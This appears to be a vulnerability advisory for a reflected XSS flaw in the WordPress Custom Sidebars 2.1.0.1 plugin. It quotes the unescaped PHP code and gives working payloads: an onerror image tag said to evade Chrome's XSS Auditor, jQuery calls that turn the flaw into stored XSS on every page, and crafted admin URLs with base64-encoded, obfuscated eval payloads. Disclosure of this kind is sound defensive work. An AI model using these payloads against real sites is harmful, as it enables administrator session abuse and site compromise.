Custom Sidebars 2.1.0.1 XSS

Homepage:

https://wordpress.org/plugins/custom-sidebars/

CVSS Score

4

CVSS Vector

(AV:N/AC:L/Au:S/C:P/I:N/A:N)

Description:

$_GET['cs-msg'] is not escaped.

File: custom-sidebars\inc\class-custom-sidebars.php

// Display a message after import.
if ( ! empty( $_GET['cs-msg'] ) ) {
	$msg = base64_decode( $_GET['cs-msg'] );
	WDev()->message( $msg );
}

So we have reflected XSS. What is more important it bypass Google Chrome XSS Auditor (tested on 39.0.2171.95):

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

But we can elevate this to normal XSS by creating new text sidebar which will be displayed on every page:

jQuery.post(ajaxurl, {"action": "widgets-order", savewidgets: jQuery("#_wpnonce_widgets").val(), "sidebars[sidebar-2]": "widget-200_text-200"});

jQuery.post(ajaxurl, { "widget-text[200][title]": "xss", "widget-text[200][text]": "<script>alert(String.fromCharCode(88,83,83));</script>", savewidgets: jQuery("#_wpnonce_widgets").val(),
 "csb-buttons": "0", "widget-id": "text-200", "id_base": "text",  "widget-width": "400", "widget-height": "350", "widget_number": "200", "action": "save-widget", "sidebar": "sidebar-200", "add_new": "",
 "multi_number": ""} );

Proof of Concept:

Admin must visit this crafted urls:

http://wordpress-url/wp-admin/widgets.php?cs-msg=PElNRyBTUkM9LyBvbmVycm9yPSJhbGVydChTdHJpbmcuZnJvbUNoYXJDb2RlKDg4LDgzLDgzKSkiPjwvaW1nPg==

or

http://wordpress-url/wp-admin/widgets.php?cs-msg=PElNRyBTUkM9LyBvbmVycm9yPSJldmFsKCdldmFsKFN0cmluZy5mcm9tQ2hhckNvZGUoMTA2LCA4MSwgMTE3LCAxMDEsIDExNCwgMTIxLCA0NiwgMTEyLCAxMTEsIDExNSwgMTE2LCA0MCwgOTcsIDEwNiwgOTcsIDEyMCwgMTE3LCAxMTQsIDEwOCwgNDQsIDMyLCAxMjMsIDM0LCA5NywgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgMzQsIDU4LCAzMiwgM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